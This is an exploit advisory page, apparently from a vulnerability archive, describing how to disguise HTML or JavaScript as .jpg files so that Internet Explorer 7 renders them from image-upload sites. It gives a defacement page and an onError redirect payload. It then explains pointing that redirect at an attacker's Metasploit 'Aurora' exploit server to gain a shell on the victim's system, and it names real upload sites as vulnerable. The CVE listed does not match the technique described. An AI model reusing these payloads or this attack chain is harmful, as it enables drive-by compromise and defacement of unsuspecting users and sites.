Internet Explorer 8/7 Java Html Codes INJECTION

2010-03-06 / 2012-01-30

Credit: 7H3_BoSs

Risk: High

Local: No

Remote: Yes

CVE: CVE-2010-0249

CWE: CWE-399

Ogólna skala CVSS: 9.3/10

Znaczenie: 10/10

Łatwość wykorzystania: 8.6/10

Wymagany dostęp: Zdalny

Złożoność ataku: Średnia

Autoryzacja: Nie wymagana

Wpływ na poufność: Pełny

Wpływ na integralność: Pełny

Wpływ na dostępność: Pełny

#############################################
#
#
# [+] IE 7 Java & Html Codes INJECTION
# [+] Discovered By 7H3 BoSs
#
#
#############################################
#
#
#
# [] Founder : [ 7H3 BoSs ]
# [] Members : [ ReZa , sub.z3l2o , Wishe ]
# [] Team : [ KatRina iRanian Security Team ]
# [] Greetz : [ ReZa , sub.z3l2o , Wishe , NEO ]
#
#
#
###############################################################################################################
#
#
# [+] html Exploit Example :
#
# Open A text document and insert a html code in that like this :
#
# <html>
# <head>
# <title>Hacked By KatRina Iranian Hackers</title>
# </head>
# <body bgcolor=black text=White>
# <center><h2>Hacked By KatRina Iranian Hackers</h2>
# <img src='http://www.gciran.com/services/graphic/star.jpg'>
# <br>
# <h2>We Are : </h2>
# <bR>
# <h2>ReZa , SuB zErO , Wishe , 7H3 BoSs</h2>
# </center></body>
# </html>
#
# then save it as jpg format
#
###############################################################################################################
#
# [+] java Script Exploit Example :
#
# Open A text document and insert a java script code in that like this :
#
#
# <img src="" onError="document.location='http://google.com'">
#
# then save it as jpg format
#
#################################################
#
# [+] Introduction :
#
# then save html code as jpg like KatRina.jpg
# or insert java script codes and save it again as jpg file
# then upload image in vulnerable images upload centers
# remeber 30% of upload centers are vulnerable but not all
#
#
##################################################
#
#
# [+] Html INJECTION :
#
# I create a text document and inserted html code in that then save it as jpg
# My file name is Katrina.jpg thus i uploaded it in a vulnerable upload centers
#
# in this image upload center : http://datairan.gigfa.com/index.php
# Uploaded file : http://datairan.gigfa.com/files/axc0goer2hor9499need.jpg
# note : open in IE7 and you can see html code injected
#
# another upload center : http://upload.mamazy.net
# bypassed : http://upload.mamazy.net/images/oncljs8ef6qng40kily.jpg
#
# another upload center : http://up.iranblog.com/
# bypassed : http://up.iranblog.com/37261/1267616595.jpg
#
#
#################################################
#
# [+] Java Script INJECTION :
#
#
# i Create a text document then inserted Java Script Code in that and save it as jpg
# my file name is KatRina.jpg and i inserted :
#
# <img src="" onError="document.location='http://google.com'">
#
# and save it as jpg and upload it in a vulnerable upload centers and victim with IE7
# will redirect to google.com !!!
# Example : http://up.iranblog.com/37261/1267642065.jpg
# open with IE7 and you will be redirect to http://google.com
# note this is example and you can do many things with this
# for instant you can use "Aurora" IE Exploit in metasploit and exploit it as http://yourIP:8080/
# and do it like this :
#
# open a text document and insert :
#
# <img src="" onError="document.location='http://yourIP:8080'">
#
# then save as jpg and upload it in a vulnerable image hosting and give uploaded url to victim
# and he or his will redirect to your exploit url and you can gain shell of victim system !!!
#
###############################################################################################################
#
#
# [+] some vulnerable upload center : http://up.iranblog.com/
# http://datairan.gigfa.com/index.php
# http://fuc.ir/
# http://upload.mamazy.net
#
#
#################################################
#
#
# [+] Note :
#
# you can do many things with this method and use many html or java scripts codes or both !
#
#
# ENJOY !
#
##################################################
#
#
#
# [+] Contact :
# i.The.l3oSs.i@Gmail.Com
#
#
#
###################################################

Referencje:

http://www.us-cert.gov/cas/techalerts/TA10-055A.html

http://www.kb.cert.org/vuls/id/492515

http://xforce.iss.net/xforce/xfdb/55642

http://www.vupen.com/english/advisories/2010/0135

http://www.securityfocus.com/bid/37815

http://www.microsoft.com/technet/security/Bulletin/MS10-002.mspx

http://www.microsoft.com/technet/security/advisory/979352.mspx

http://www.exploit-db.com/exploits/11167

http://support.microsoft.com/kb/979352

http://securitytracker.com/id?1023462

http://osvdb.org/61697

http://news.cnet.com/8301-27080_3-10435232-245.html

http://blogs.technet.com/msrc/archive/2010/01/14/security-advisory-979352.aspx

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Internet Explorer 8/7 Java Html Codes INJECTION

Referencje:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.